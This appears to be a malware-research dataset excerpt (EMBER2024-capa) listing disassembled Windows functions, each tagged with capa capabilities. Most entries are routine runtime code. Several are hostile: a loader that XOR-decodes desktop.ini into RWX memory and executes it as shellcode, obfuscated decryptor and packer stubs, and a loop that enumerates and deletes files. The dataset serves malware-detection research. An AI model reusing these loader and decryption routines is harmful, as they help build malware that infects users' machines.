joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448ae9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x45d288]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x448b2f
cmp word [ebx], dx
jne 0x448b2f
or byte [eax + edi + 0x28], 4
jmp 0x448b34
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x448c97
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x448c77
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x448b75
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x448bab
cmp eax, edx
jae 0x448bb9
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x448b50
jmp 0x448c97
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x448c72
cmp dword [ebp - 0x18], 0
je 0x448c72
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x45d288]
test byte [eax + edi + 0x28], 0x48
je 0x448c48
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x448c0c
mov word [esi], cx
jmp 0x448c43
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x45d288]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x45d288]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x45d288]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x448c97
pop eax
cmp word [ebp - 4], ax
jne 0x448c58
cmp esi, ebx
jne 0x448c58
mov word [esi], ax
jmp 0x448c94
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00447e80
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x448c97
push 0xd
pop eax
jmp 0x448c53
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x45d288]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x448c91
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x448c97
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x44c200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44c22d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44c22d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x710c6a
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x7109ec
push edx
pop edx
call fcn.00710c9c
add edx, edx
add edx, 0xc08e71a8
xor dword [esi], ebx
add ecx, edx
inc esi
or ecx, edx
or edx, edx
cmp esi, edi
jne fcn.00710c6a
inc ecx
mov ecx, 0xb4385026
ret
Function at 0x7813480f
Capabilities:
Query environment variable

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
xor ebx, ebx
push ebx
push ebx
mov ebp, str.__MSVCRT_HEAP_SELECT
push ebp
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call edi
mov esi, eax
cmp esi, ebx
je 0x78134961
push esi
push ebx
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x7813495f
push esi
push ebx
push ebp
call edi
test eax, eax
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
jbe 0x78134953
cmp eax, esi
ja 0x78134953
cmp byte [ebx], 0
mov ecx, ebx
je 0x78134889
mov al, byte [ecx]
cmp al, 0x61
jl 0x78134883
cmp al, 0x7a
jg 0x78134883
sub al, 0x20
mov byte [ecx], al
inc ecx
cmp byte [ecx], 0
jne 0x78134875
push 0x16
push ebx
push str.__GLOBAL_HEAP_SELECTED
call sym.MSVCR80.dll_ldexp
add esp, 0xc
test eax, eax
jne 0x781348a1
mov edi, ebx
jmp 0x781348fc
push 0x105
push 8
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x78134953
push 3
push esi
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
cmp byte [esi], 0
mov ecx, esi
je 0x781348e5
mov al, byte [ecx]
cmp al, 0x61
jl 0x781348df
cmp al, 0x7a
jg 0x781348df
sub al, 0x20
mov byte [ecx], al
inc ecx
cmp byte [ecx], 0
jne 0x781348d1
push esi
push ebx
call sym.MSVCR80.dll_strstr
pop ecx
pop ecx
push esi
push 0
mov edi, eax
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
test edi, edi
je 0x78134953
push 0x2c
push edi
call sym.MSVCR80.dll_strchr
test eax, eax
pop ecx
pop ecx
je 0x78134953
inc eax
cmp byte [eax], 0x20
je 0x7813490e
mov cl, byte [eax]
xor esi, esi
cmp cl, 0x30
jl 0x78134953
cmp cl, 0x39
jg 0x78134934
imul esi, esi, 0xa
movsx ecx, cl
inc eax
lea esi, [esi + ecx - 0x30]
mov cl, byte [eax]
cmp cl, 0x30
jge 0x7813491d
cmp esi, 2
je 0x78134943
cmp esi, 3
je 0x78134943
cmp esi, 1
jne 0x78134953
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
mov eax, esi
jmp 0x781349c1
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call ebp
xor ebx, ebx
lea eax, [esp + 0x10]
push eax
call sym.MSVCR80.dll__get_osplatform
test eax, eax
pop ecx
je 0x7813497d
push ebx
push ebx
push ebx
push ebx
push ebx
call sym.MSVCR80.dll__invoke_watson
add esp, 0x14
lea eax, [esp + 0x14]
push eax
call sym.MSVCR80.dll__get_winmajor
test eax, eax
pop ecx
je 0x78134999
push ebx
push ebx
push ebx
push ebx
push ebx
call sym.MSVCR80.dll__invoke_watson
add esp, 0x14
cmp dword [esp + 0x10], 2
jne 0x781349ac
cmp dword [esp + 0x14], 5
jb 0x781349ac
xor eax, eax
inc eax
jmp 0x781349c1
lea eax, [esp + 0x18]
push eax
call fcn.781347e2
cmp byte [esp + 0x1c], 6
pop ecx
sbb eax, eax
add eax, 3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x78138894
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.MSVCR80.dll__invalid_parameter
Function at 0x78139847
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x781c19c8]
jne 0x78139851
repz ret
jmp sym.MSVCR80.dll___report_gsfailure

Function at 0x7815472c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78154759
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call sym.MSVCR80.dll_ldexp
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x78154735
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78154788
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
call sym.MSVCR80.dll__errno
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x781547af
test al, 1
je 0x781547af
test byte [esp + 0xc], 2
je 0x781547af
call sym.MSVCR80.dll___doserrno
mov dword [eax], 5
call sym.MSVCR80.dll__errno
mov dword [eax], 0xd
jmp 0x7815477f
xor eax, eax
pop esi
ret

Function at 0x78154a51
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78154a7e
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call sym.MSVCR80.dll_ldexp
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x78154a9c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
jmp 0x78154a79
test byte [esp + 0xc], 0x80
je 0x78154aa8
and eax, 0xfffffffe
jmp 0x78154aab
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x78154a8d
xor eax, eax
pop esi
ret

Function at 0x78155c9d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78155cca
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call sym.MSVCR80.dll_ldexp
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x78155ca6
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78155cf9
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
call sym.MSVCR80.dll__errno
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x78155d20
test al, 1
je 0x78155d20
test byte [esp + 0xc], 2
je 0x78155d20
call sym.MSVCR80.dll___doserrno
mov dword [eax], 5
call sym.MSVCR80.dll__errno
mov dword [eax], 0xd
jmp 0x78155cf0
xor eax, eax
pop esi
ret
Function at 0x78155e6a
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x78155e97
call sym.MSVCR80.dll___doserrno
mov dword [eax], esi
call sym.MSVCR80.dll__errno
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call sym.MSVCR80.dll_ldexp
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x78155eb5
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call sym.MSVCR80.dll__dosmaperr
pop ecx
jmp 0x78155e92
test byte [esp + 0xc], 0x80
je 0x78155ec1
and eax, 0xfffffffe
jmp 0x78155ec4
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x78155ea6
xor eax, eax
pop esi
ret

Function at 0x7818b00b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x7818b01a
pop dword [ebp - 0x50]
mov eax, 0x7818b01a
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x46325
push 0
mov eax, 0xde46436b
sub eax, 0x662d02ab
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x26c63e20
add ecx, 0xd93a1988
mov edi, eax
mov esi, 0x781cb000
add esi, dword [ebp - 0x50]
mov ebx, 0x66d5b374
sub ebx, 0x5bee7f6b
add dword [ebp - 0x38], ebx
mov edx, dword [esi]
xor dword [ebp - 0x3c], 0x4fab7d63
add edx, ebx
xor dword [ebp - 0x28], edx
mov dword [edi], edx
add dword [ebp - 0x10], 0xa2215ffd
add edi, 0x957ff2ed
sub edi, 0x957ff2e9
add esi, 4
loop 0x7818b06e
add eax, 0xfe9270dc
sub eax, 0xfe911f69
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x78130000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10005510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000551f
pop dword [ebp - 0x20]
mov eax, 0x1000551f
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xeea6f1de
add dword [ebp - 0x30], 0x5fab536d
mov dword [ebp - 0x2c], 0xab1a198a
add dword [ebp - 0x2c], 0x871932bb
mov dword [ebp - 0x28], 0x9359ad8a
sub dword [ebp - 0x28], 0x470d695c
mov dword [ebp - 0x24], 0x5f576f5
add dword [ebp - 0x24], 0xfa0a890b
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa7973ea2
sub eax, 0x97964df2
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xf496058d
sub dword [ebp - 0x30], 0x80239c37
mov dword [ebp - 0x2c], 0xfa705c3a
add dword [ebp - 0x2c], 0x46fc053b
mov dword [ebp - 0x28], 0x9b62b43
add dword [ebp - 0x28], 0x59b94129
mov dword [ebp - 0x24], 0x1fd0482d
add dword [ebp - 0x24], 0xe02fb7d3
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xae36c150
add eax, 0x61ca2f58
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce6f
push 0
call eax
mov ecx, 0xf1cb87b6
sub ecx, 0xf1cb2f0f
xor edx, edx
add edx, eax
mov esi, 0x6810fd61
sub esi, 0x580ec561
add esi, dword [ebp - 0x20]
mov ebx, 0x3d3db5b9
sub dword [ebp - 0x1c], 0x2388af96
mov edi, dword [esi]
sub edi, ebx
xor dword [ebp - 8], ecx
mov dword [edx], edi
xor dword [ebp - 4], ecx
add edx, 4
add esi, 0x1578774c
sub esi, 0x15787748
loop 0x10005638
add eax, 0xd8e9898d
sub eax, 0xd8e8341e
xor ebx, ebx
add ebx, eax
add eax, 0xbcbaf7f2
sub eax, 0xbcbaf7ed
mov ecx, 0x2899a328
add ecx, 0xe7665cd8
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4019f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str._system32777.dll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
jmp loc.0045c61c

Function at 0x410370
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
jmp 0x41038a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x410391
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x410380
mov eax, 1
add ebx, ebx
jne 0x4103a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x410398
jne 0x4103b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410398
xor ecx, ecx
sub eax, 3
jb 0x4103c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41043a
mov ebp, eax
add ebx, ebx
jne 0x4103d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4103e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x410404
inc ecx
add ebx, ebx
jne 0x4103f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4103e5
jne 0x410401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4103e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x410424
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x410415
jmp 0x410386
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x410424
add edi, ecx
jmp 0x410386
pop esi
mov edi, esi
mov ecx, 0x277
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x410442
cmp byte [edi], 5
jne 0x410442
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x410447
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x4104b6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x128f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12944]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x410474
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12948]
or eax, eax
je 0x4104b0
mov dword [ebx], eax
add ebx, 4
jmp 0x410491
call dword [esi + 0x12958]
mov ebp, dword [esi + 0x1294c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4104ea
sub esp, 0xffffff80
jmp 0x4027e0
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x7e261eb
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x21d04a33
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4087f0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448f3d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x464
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push dword [ebp + 8]
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4089a0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.QUpQVQmQ9uIx5reZHo
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.004038c0
test al, al
jne 0x40885c
push 0x13
push str.QUpQVQmQ9uIx5reZHo
mov ecx, esi
call fcn.00403de0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.004023d0
add esp, 4
push dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x14]
or ebx, 0xffffffff
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40889a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x408970
lea esp, [esp]
lea eax, [ebp - 0x440]
push eax
push dword [ebp + 8]
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
call fcn.00401620
test eax, eax
je 0x4089a0
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.dXhq0TVAPyGRFQ1Dxk
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.004038c0
test al, al
jne 0x40890b
push 0x13
push str.dXhq0TVAPyGRFQ1Dxk
mov ecx, esi
call fcn.00403de0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.004023d0
add esp, 4
push dword [eax]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x14]
add esp, 0x10
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408946
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x46c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4088c0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x40898f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
int3
Function at 0x10001c05
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002c674
call fcn.1002b067
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
xor ebx, ebx
mov ecx, edi
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
call fcn.10002b37
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov byte [esi + 0x30], 1
mov dword [ebp - 4], ebx
cmp byte [0x1003cdfb], bl
jne 0x10001c5a
cmp byte [0x1003cdfa], bl
je 0x10001c96
cmp dword [edi + 0x14], 0x10
jb 0x10001c62
mov edi, dword [edi]
push edi
push str.CMemMappedFile__s__ctor__reference_
mov edi, 0x1003c818
push edi
call fcn.100188a0
add esp, 0xc
cmp byte [0x1003cdfa], 0
je 0x10001c86
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cdfb], 0
je 0x10001c96
push edi
call fcn.10005eb0
pop ecx
push esi
call fcn.100188a0
pop ecx
mov eax, esi
call fcn.1002b030
ret 8

Function at 0x10001ca7
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002c674
call fcn.1002b067
mov esi, ecx
mov dword [ebp - 0x10], esi
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
push edi
call fcn.1000282f
pop ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], ecx
mov byte [esi + 0x30], cl
mov dword [ebp - 4], ecx
cmp byte [0x1003cdfb], cl
jne 0x10001cf2
cmp byte [0x1003cdfa], cl
je 0x10001d2f
cmp dword [edi + 0x14], 0x10
jb 0x10001cfa
mov edi, dword [edi]
push eax
push edi
push str.CMemMappedFile__s__ctor__new_with_size_lu_
mov edi, 0x1003c818
push edi
call fcn.100188a0
add esp, 0x10
cmp byte [0x1003cdfa], 0
je 0x10001d1f
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cdfb], 0
je 0x10001d2f
push edi
call fcn.10005eb0
pop ecx
mov ecx, esi
call fcn.100033f0
mov eax, esi
call fcn.1002b030
ret 4

Function at 0x10001d40
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002c674
call fcn.1002b067
mov esi, ecx
mov dword [ebp - 0x10], esi
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
push edi
call fcn.1000282f
pop ecx
xor eax, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov dword [ebp - 4], eax
cmp byte [0x1003cdfb], al
jne 0x10001d88
cmp byte [0x1003cdfa], al
je 0x10001dc4
cmp dword [edi + 0x14], 0x10
jb 0x10001d90
mov edi, dword [edi]
push edi
push str.CMemMappedFile__s__ctor__new_
mov edi, 0x1003c818
push edi
call fcn.100188a0
add esp, 0xc
cmp byte [0x1003cdfa], 0
je 0x10001db4
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cdfb], 0
je 0x10001dc4
push edi
call fcn.10005eb0
pop ecx
mov eax, esi
call fcn.1002b030
ret